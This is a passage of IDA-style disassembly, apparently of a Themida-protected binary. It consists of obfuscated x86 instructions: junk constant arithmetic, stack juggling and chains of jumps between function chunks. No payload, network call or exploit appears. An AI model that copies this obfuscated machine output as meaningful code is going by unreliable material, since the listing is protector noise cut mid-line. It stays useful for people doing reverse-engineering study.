[esp-20h+arg_1C], edx jmp loc_5514FA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55ABFD: ; CODE XREF: Themida_:00558F8Bj add ebx, edx pop edx add ebx, 3226997h sub esp, 4 jmp loc_557CE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AC11: ; CODE XREF: sub_556A70+3ADj push [esp-4+arg_4] pop eax pop [esp-4+arg_0] pop esp push [esp-0Ch+arg_8] push [esp-8+arg_4] pop ecx sub esp, 4 jmp loc_55A0FE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AC2C: ; CODE XREF: Themida_:005585A0j push esi mov esi, 1C227E27h jmp loc_555370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B403 loc_55AC37: ; CODE XREF: sub_55B403-6CEBj mov ah, bl jmp loc_559DCE ; END OF FUNCTION CHUNK FOR sub_55B403 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AC3E: ; CODE XREF: sub_556A70-5448j add edi, ebx pop ebx add edi, 4 xor edi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], edi xor edi, [esp-0Ch+arg_8] pop esp add esi, 4 push esi push [esp-0Ch+arg_C] jmp loc_552421 ; --------------------------------------------------------------------------- loc_55AC5B: ; CODE XREF: sub_556A70-2E3Cj mov edx, 2 add ecx, edx pop edx push ecx push [esp+0Ch+var_8] pop ecx jmp loc_556689 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AC6E: ; CODE XREF: Themida_:0055A316j add esi, edi mov edi, [esp] add esp, 4 jmp loc_556B88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AC7B: ; CODE XREF: sub_556A70-5434j mov eax, esp push edx mov edx, 4 add eax, 73906D89h add eax, edx sub eax, 73906D89h pop edx push 78D3h jmp loc_55AA93 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push eax push ecx mov ecx, 408776E4h push edx mov edx, 31780468h sub edx, 0BA4BDD2Ch xor ecx, edx pop edx and ecx, 9A0352Eh jmp loc_55263A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55ACBB: ; CODE XREF: sub_556A70-7F6j add esp, 4 mov ebx, [esp-4+arg_0] add esp, 4 loc_55ACC7: ; CODE XREF: sub_556A70-70Aj push 3E5Ch mov [esp-4+arg_0], ebp push ebx pop ebp sub esp, 4 jmp loc_552BE2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55ACDC: ; CODE XREF: Themida_:005525C5j sub esp, 4 jmp loc_558278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55ACE7: ; CODE XREF: sub_556A70+9E1j xor [esp-26h+arg_20+2], ebp xor ebp, [esp-26h+arg_20+2] mov esp, [esp-26h+arg_20+2] jmp loc_55A98E ; --------------------------------------------------------------------------- loc_55ACF5: ; CODE XREF: sub_556A70+319Cj add esp, 4 push esi mov esi, 47FB37A2h sub ebx, 50330778h sub ebx, esi add ebx, 50330778h push [esp-2Eh+arg_28+2] pop esi jmp loc_55B153 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AD18: ; CODE XREF: Themida_:005569A3j mov ebx, 4 add esi, ebx jmp loc_5589C6 ; --------------------------------------------------------------------------- loc_55AD24: ; CODE XREF: Themida_:0055BFB4j pop edx push bx mov bh, 86h add ch, 88h jmp loc_552AC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AD31: ; CODE XREF: sub_556A70+DEEj pop esi inc edi jmp loc_55327A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AD38: ; CODE XREF: Themida_:00557D11j push 47A8h mov [esp], ebp push 6EB1h mov [esp], edx mov edx, 5FF9A502h push ecx jmp loc_5575FE ; --------------------------------------------------------------------------- loc_55AD53: ; CODE XREF: Themida_:005559A5j mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 jmp loc_5528C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_55AD65: ; CODE XREF: sub_55B730-A98Bj or ebx, ebp pop ebp add ebx, 3312FADFh push 0F8BCD972h jmp loc_55601C ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AD78: ; CODE XREF: sub_556A70-D6j shl bh, 2 jmp loc_551DA3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AD80: ; CODE XREF: Themida_:0055CED3j sub eax, 73C0129h xor eax, 4D2E6911h sub ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55792B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AD9B: ; CODE XREF: sub_556A70-2407j or esi, eax pop eax or esi, 2EAA733Fh sub esi, 0C7EE07FBh add edi, esi pop esi add eax, edi pop edi push edx mov edx, 6BEA7E78h add edx, 38397495h dec edx shl edx, 5 inc edx sub edx, 5B614AC6h sub edx, 291D16B9h add eax, edx jmp loc_55B67A ; --------------------------------------------------------------------------- loc_55ADD4: ; CODE XREF: sub_556A70-56E0j pop cx jmp loc_55AE44 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55ADDB: ; CODE XREF: Themida_:0055B0FEj xor ebp, 3F369554h mov esi, ebp pop ebp add edx, esi jmp loc_5570BA ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h add dword ptr [esp], 4 pop ecx jmp loc_55BF0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55ADF8: ; CODE XREF: sub_556A70+D8Fj sub ebx, 4 jmp loc_557BB6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AE03: ; CODE XREF: Themida_:0055C245j add al, cl pop ecx sub al, 0E7h sub al, bl add al, 0E7h jmp loc_55B3D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AE11: ; CODE XREF: sub_556A70+390j add ecx, 6F6B1CE6h pop edx xor ecx, [esp-1Eh+arg_18+2] xor [esp-1Eh+arg_18+2], ecx xor ecx, [esp-1Eh+arg_18+2] pop esp movzx eax, al mov dx, word ptr [esp-22h+arg_1C+2] jmp loc_55BAD6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AE2E: ; CODE XREF: Themida_:00551146j mov eax, 4 add ebx, eax jmp loc_5538E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AE3A: ; CODE XREF: sub_556A70+731j mov esi, 0F7E3236h jmp loc_55518A ; --------------------------------------------------------------------------- loc_55AE44: ; CODE XREF: sub_556A70+4366j add ah, 0DDh sub bl, ah jmp loc_55B800 ; --------------------------------------------------------------------------- loc_55AE4E: ; CODE XREF: sub_556A70+3C0Ej push [esp-4+arg_0] jmp loc_559E82 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AE56: ; CODE XREF: Themida_:00554E28j push 46D8h mov [esp], ebx push ecx mov cl, 0Dh not cl jmp loc_558D07 ; =============== S U B R O U T I N E ======================================= sub_55AE68 proc near ; CODE XREF: sub_5584F8-6179j ; FUNCTION CHUNK AT 00555E87 SIZE 00000011 BYTES push ebx jmp loc_555E87 sub_55AE68 endp ; =============== S U B R O U T I N E ======================================= sub_55AE6E proc near ; CODE XREF: sub_556A70-3E76j var_4 = word ptr -4 arg_2 = dword ptr 6 ; FUNCTION CHUNK AT 0055499E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005555AE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055851C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055984A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00559AA3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055B226 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055CAE5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055CCAA SIZE 00000010 BYTES push ebx jmp loc_55CCAA sub_55AE6E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_55AE74: ; CODE XREF: Themida_:0055A56Bj pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg edi, [esp] pop esp btc [esp], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55AE94: ; CODE XREF: Themida_:00557BFFj sub edi, 75E114Ch inc edi sub edi, 0F2517252h jmp loc_55B319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AEA6: ; CODE XREF: sub_556A70+5B12j mov eax, 193779DDh add eax, 5C7E776Eh not eax or eax, 73395F2Bh push edi jmp loc_55BD86 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov edx, [esp] push 4559h mov [esp], ebx mov ebx, esp jmp loc_55675E ; --------------------------------------------------------------------------- loc_55AECF: ; CODE XREF: Themida_:005599FFj mov edi, [esp] add esp, 4 neg esi sub esi, 1E147DECh xor esi, 5FAD0B11h jmp loc_55B718 ; --------------------------------------------------------------------------- loc_55AEE8: ; CODE XREF: Themida_:005598E7j pop edi add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5562AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AEF7: ; CODE XREF: sub_556A70-22Fj mov ebx, [esp+0Ch+var_C] jmp loc_55CC98 ; --------------------------------------------------------------------------- loc_55AEFF: ; CODE XREF: sub_556A70-39ACj not edi push ebp mov ebp, 58676783h shr ebp, 8 jmp loc_5547D8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AF0F: ; CODE XREF: Themida_:00557BF3j mov [esp], ebx mov bh, 0AEh jmp loc_55344C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AF19: ; CODE XREF: sub_556A70-5279j add ebx, esi jmp loc_556ACE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push 0CEBh mov [esp], ecx push 73CEh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_552530 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 push 45D4h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_55C24A ; --------------------------------------------------------------------------- loc_55AF6B: ; CODE XREF: Themida_:00551BCAj pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_553959 ; --------------------------------------------------------------------------- loc_55AF79: ; CODE XREF: Themida_:0055AA2Cj sub edi, eax pop eax push edi add dword ptr [esp], 765C6D91h pop edx sub edx, 765C6D91h jmp loc_55533E ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_555ECD ; --------------------------------------------------------------------------- loc_55AF99: ; CODE XREF: Themida_:00553DC0j add ebx, esi pop esi sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5561E2 ; --------------------------------------------------------------------------- mov cx, [esp] push 0E7h jmp loc_55C208 ; --------------------------------------------------------------------------- loc_55AFD0: ; CODE XREF: Themida_:00551223j shr edx, 1 neg edx sub edx, 5A75CF8Bh sub ebx, edx pop edx jmp loc_557FC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_55AFE2: ; CODE XREF: sub_5516F8+752Ej add edi, 7E88325Dh add edi, 81C0A6Eh add edi, 70E55308h std jmp sub_557F09 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- loc_55AFFA: ; CODE XREF: Themida_:005558EEj push edx mov dh, 2Ch push ebx push ecx jmp loc_55C5AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_55B004: ; CODE XREF: sub_553651-1958j and eax, edx push [esp+8+var_8] pop edx sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, esp add ebx, 4 push 4B64h mov [esp+10h+var_10], eax jmp loc_556447 ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B028: ; CODE XREF: sub_556A70+25j add ebp, ecx pop ecx jmp loc_557180 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55227F loc_55B030: ; CODE XREF: sub_55227F+2E75j add esp, 4 jmp sub_5565AD ; END OF FUNCTION CHUNK FOR sub_55227F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B03B: ; CODE XREF: sub_556A70+41Fj mov cx, si pop esi jmp loc_55BC6C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B044: ; CODE XREF: Themida_:00558DA3j pop edx mov ebx, [esp] add esp, 4 shl al, 2 jmp loc_55BC06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A704 loc_55B053: ; CODE XREF: sub_55A704+10j push esi push 102B66ACh mov esi, [esp+4+var_4] add esp, 4 sub eax, 687E111Bh sub eax, 25D62919h add eax, esi push edx mov edx, 25D62919h add eax, edx pop edx add eax, 687E111Bh push dword ptr [esp+0] pop esi push esi mov esi, esp add esi, 4 jmp loc_556F7F ; END OF FUNCTION CHUNK FOR sub_55A704 ; --------------------------------------------------------------------------- loc_55B08E: ; CODE XREF: Themida_:0055C0DDj add ecx, ebx pop ebx sub esp, 4 mov [esp], ebx push ebp mov ebp, 51B852C4h mov ebx, 0AE47AD40h add ebx, ebp pop ebp sub ecx, 3F7B0893h sub ecx, 7B327DD0h add ecx, ebx add ecx, 7B327DD0h jmp loc_557174 ; --------------------------------------------------------------------------- loc_55B0C1: ; CODE XREF: Themida_:005583D0j mov ah, 0DCh jmp loc_550DD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_55B0C8: ; CODE XREF: sub_552E24+9D0Dj add ebx, 5C720FE2h dec ebx and ebx, 775570F1h neg ebx sub ebx, 4BA1A6D3h and ebp, ebx pop ebx jmp loc_550ED1 ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- loc_55B0E5: ; CODE XREF: Themida_:00559513j mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_5542BF ; --------------------------------------------------------------------------- loc_55B0F1: ; CODE XREF: Themida_:0055838Cj xchg esi, [esp] mov esp, [esp] add ebp, 1D644CA0h inc ebp jmp loc_55ADDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B103: ; CODE XREF: sub_556A70+2CBj jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55B108: ; CODE XREF: sub_556A70-4E39j not ebp push eax mov eax, 16511FBDh or ebp, eax mov eax, [esp+0Ch+var_C] jmp loc_5584EA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B11A: ; CODE XREF: sub_5584F8+1C2Ej pop esi or ebp, eax pop eax shl ebp, 5 add ebp, 0D95BEA5Ah add eax, ebp mov ebp, [esp+0] jmp loc_55B2BA ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B131: ; CODE XREF: sub_556A70+19C5j push eax jmp loc_55A556 ; --------------------------------------------------------------------------- loc_55B137: ; CODE XREF: sub_556A70+F34j pop ebx jmp loc_553C5D ; --------------------------------------------------------------------------- loc_55B13D: ; CODE XREF: sub_556A70+7B1j push ecx mov ecx, 3DB07A2Ah sub eax, ecx jmp loc_55BCDE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B14A: ; CODE XREF: Themida_:00553754j xchg edi, [esp] pop esp jmp loc_55877E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B153: ; CODE XREF: sub_556A70+42A3j push 1FB4h mov [esp-2Ah+arg_24+2], esi push esp pop esi add esi, 4 add esi, 4 push esi push [esp-26h+arg_24+2] mov esi, [esp-22h+arg_1C+2] add esp, 4 pop [esp-26h+arg_20+2] mov esp, [esp-2Ah+arg_24+2] sub ebx, 513922F2h add ebx, eax add ebx, 513922F2h jmp loc_558673 ; --------------------------------------------------------------------------- loc_55B190: ; CODE XREF: sub_556A70-14F3j push 0E1C195Eh pop edi jmp loc_557D8B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B19B: ; CODE XREF: Themida_:00559D3Fj pop eax pop dword ptr [esp] pop esp xchg edi, [esp] mov esp, [esp] push dword ptr [esp] pop edx push 71B4h mov [esp], ebp jmp loc_556B09 ; --------------------------------------------------------------------------- loc_55B1B7: ; CODE XREF: Themida_:0055CE09j push 2 mov eax, [esp] add esp, 4 add ebx, 0AEF6B90h sub ebx, 185C2529h add ebx, eax add ebx, 185C2529h sub ebx, 0AEF6B90h jmp loc_55CF3C ; --------------------------------------------------------------------------- loc_55B1E1: ; CODE XREF: Themida_:005513E6j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_55C342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55B1EF: ; CODE XREF: sub_5566B9+2415j pop ebp add eax, ebp sub esp, 4 mov [esp+10h+var_10], edx mov edx, 6C665D18h sub eax, edx mov edx, [esp+10h+var_10] jmp loc_5531FF ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_55B207: ; CODE XREF: Themida_:00558800j push 0A390702h jmp loc_556F3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B211: ; CODE XREF: sub_556A70-1EBBj mov esi, esp add esi, 4 push eax mov eax, 4 add esi, eax jmp loc_559C5A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_55B226: ; CODE XREF: sub_55AE6E+1C7Bj push edx not byte ptr [esp+0] pop edx sub esp, 2 mov [esp+0], bx jmp loc_5555AE ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B23A: ; CODE XREF: sub_556A70+2437j or eax, eax jz loc_556BFD push 726Eh jmp loc_551486 ; --------------------------------------------------------------------------- loc_55B24C: ; CODE XREF: sub_556A70+5947j push dword ptr [edi+24h] sub esp, 4 jmp loc_5590F6 ; --------------------------------------------------------------------------- loc_55B257: ; CODE XREF: sub_556A70+2611j sub eax, 21FC43EDh add edx, 5C2B44DCh sub edx, eax sub edx, 5C2B44DCh pop eax xchg edx, [esp-4+arg_0] jmp loc_551FE8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B273: ; CODE XREF: Themida_:0055A010j add esp, 4 pop dword ptr [esp] pop esp jmp loc_555AFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559D5E loc_55B27F: ; CODE XREF: sub_559D5E+Fj sub edi, ebx add edi, 167313EEh push [esp+4+var_4] pop ebx push eax mov eax, esp jmp loc_55546E ; END OF FUNCTION CHUNK FOR sub_559D5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B293: ; CODE XREF: sub_556A70-529Cj push edx mov edx, esp push ebx mov ebx, 33645C27h and ebx, 9722B0h and ebx, 558B730Eh dec ebx and ebx, 6D5163F9h add ebx, 92AE9C0Bh jmp loc_551530 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B2BA: ; CODE XREF: sub_5584F8+2C34j push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp+4+var_4] pop esp and ecx, eax jmp loc_550A52 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_55B2D7: ; CODE XREF: Themida_:00550B35j mov edx, [esp] jmp loc_55B518 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B2DF: ; CODE XREF: sub_556A70+27E5j push edx jmp loc_554C98 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55B2E5: ; CODE XREF: sub_5566B9-3909j add esp, 4 sub esp, 4 mov [esp+10h+var_10], ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_552021 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B2FB: ; CODE XREF: sub_556A70+58Cj mov ecx, 7BAB049Ch jmp loc_5558D1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B305: ; CODE XREF: sub_5584F8+74Ej mov esp, [esp-4+arg_0] sub esp, 4 jmp loc_5551E3 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_55B313: ; CODE XREF: Themida_:00557B83j inc eax jmp loc_553EBC ; --------------------------------------------------------------------------- loc_55B319: ; CODE XREF: Themida_:0055AEA1j push edi jmp loc_558099 ; --------------------------------------------------------------------------- loc_55B31F: ; CODE XREF: Themida_:00553D8Fj add bh, 2Bh add bh, 30h mov dl, bh jmp loc_555983 ; --------------------------------------------------------------------------- loc_55B32C: ; CODE XREF: Themida_:0055C42Fj add esp, 4 jmp loc_551228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B403 loc_55B337: ; CODE XREF: sub_55B403+1j mov ebp, 2 mov ebx, ebp mov ebp, [esp+4+var_4] add esp, 4 add ebp, 60124645h add ebp, ebx push edi mov edi, 60124645h sub ebp, edi jmp loc_5546FA ; END OF FUNCTION CHUNK FOR sub_55B403 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B359: ; CODE XREF: sub_556A70-2C8Aj add eax, 68D66F2Dh jmp loc_555219 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B363: ; CODE XREF: sub_5584F8-4F23j xor esi, 6E609B9h mov eax, esi pop esi dec eax add eax, 1 sub esp, 4 mov [esp+0], ebp mov ebp, 22F453E0h jmp loc_554BD1 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B380: ; CODE XREF: sub_556A70+2B47j xor ebx, [esp-8+arg_4] xor [esp-8+arg_4], ebx xor ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] bt word ptr [esp-8+arg_4], ax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B397: ; CODE XREF: Themida_:0055131Dj pop dx and cl, bl mov ebx, [esp] add esp, 4 sub cl, 9Ah add al, cl mov ecx, [esp] add esp, 4 push 87Dh mov [esp], ecx mov ch, 20h jmp loc_558758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B3BE: ; CODE XREF: sub_5584F8-7A1Ej mov esi, esp jmp loc_551426 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B3C5: ; CODE XREF: sub_556A70+6335j add esi, edi pop edi add esi, 2 xchg esi, [esp-8+arg_4] jmp loc_55BC0D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B3D6: ; CODE XREF: Themida_:0055AE0Cj sub al, 0F0h push ebx push ecx mov ch, 0E0h mov bh, 32h xor bh, ch pop ecx shr bh, 1 xor bh, 76h push small 194Ch mov [esp], bx not byte ptr [esp+1] pop bx inc bh add bh, 6Fh push cx push edx mov dl, bh jmp loc_550A75 ; =============== S U B R O U T I N E ======================================= sub_55B403 proc near ; CODE XREF: sub_55C2FC+6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005546FA SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00555B4A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00559DCE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055AC37 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055B337 SIZE 00000022 BYTES push ebp jmp loc_55B337 sub_55B403 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_55B409: ; CODE XREF: sub_551E74+76A5j mov ecx, 7F481A35h sub ebx, ecx pop ecx pop dword ptr [eax] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- loc_55B418: ; CODE XREF: Themida_:00554120j sub al, 0DEh push cx jmp loc_55604D ; --------------------------------------------------------------------------- loc_55B421: ; CODE XREF: Themida_:00551EBAj pop edx xchg edi, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push 923h mov [esp], ecx mov ecx, esp jmp loc_55C0C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B43B: ; CODE XREF: sub_5584F8-70CCj add esi, 4 xchg esi, [esp+0] mov esp, [esp+0] push 4CC2h mov [esp+4+var_4], edi mov edi, esp add edi, 4 add edi, 4 push 15FFh jmp loc_5596E7 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B464: ; CODE XREF: sub_556A70-3EC4j shr ebp, 8 add ebp, 39406E95h sub edi, ebp pop ebp and eax, edi push [esp-8+arg_4] mov edi, [esp-4+arg_0] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-4+arg_0] pop esp or eax, eax jz loc_5571F0 push eax jmp loc_55B66B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B49C: ; CODE XREF: Themida_:00556A06j shr edx, 6 sub edx, 0FFFFFFFFh sub edx, 6F0A1295h add edx, 6D55D957h add eax, edx jmp loc_55C943 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F2D loc_55B4B5: ; CODE XREF: sub_559F2D+267Cj push ecx mov ecx, 29CA2F77h push edx mov edx, 79900669h sub edx, 4FC5D6F6h xor ecx, edx pop edx add edx, ecx pop ecx xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] push edx mov dl, 3Ch sub bl, dl pop edx sub bl, al push ecx push eax jmp sub_55A9A4 ; END OF FUNCTION CHUNK FOR sub_559F2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_55B4E2: ; CODE XREF: sub_555B85+3BD1j xchg ebx, [esp+0] mov esp, [esp+0] jmp sub_5566B9 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B4ED: ; CODE XREF: sub_556A70+212Bj mov esi, ecx pop ecx add esi, 2C801B80h jmp loc_550DFA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp push dword ptr [esp] pop edi add esp, 4 jmp loc_55BC76 ; --------------------------------------------------------------------------- lodsb push edx push eax push ebx mov bl, 88h jmp loc_558D9B ; --------------------------------------------------------------------------- loc_55B518: ; CODE XREF: Themida_:0055B2DAj add esp, 4 add edx, 4 jmp loc_552709 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B529: ; CODE XREF: sub_556A70+3EC7j sub edi, esi pop esi sub ebx, 1B496FABh sub ebx, edi add ebx, 1B496FABh mov edi, [esp+8+var_8] add esp, 4 add ebx, 7EF55A35h sub ebx, 1A3436ADh jmp loc_55CE67 ; --------------------------------------------------------------------------- loc_55B554: ; CODE XREF: sub_556A70+8CAj shl ebx, 1 sub ebx, 904E666Eh add edx, 72EB2434h sub edx, ebx push edi mov edi, 58D40890h or edi, 5A563EBDh not edi or edi, 215169B4h sub edi, 9511234h or edi, 2D8B2BEDh jmp sub_555903 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55B591: ; CODE XREF: Themida_:00553F46j or ebx, 72503706h xor ebx, 4A3C7C7Ah push ebp mov ebp, 1A164FF3h xor ebx, ebp jmp loc_55CF6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B5AA: ; CODE XREF: sub_556A70+4DC6j mov [esp+10h+var_10], ebx push 28700087h jmp loc_55A0C8 ; END OF 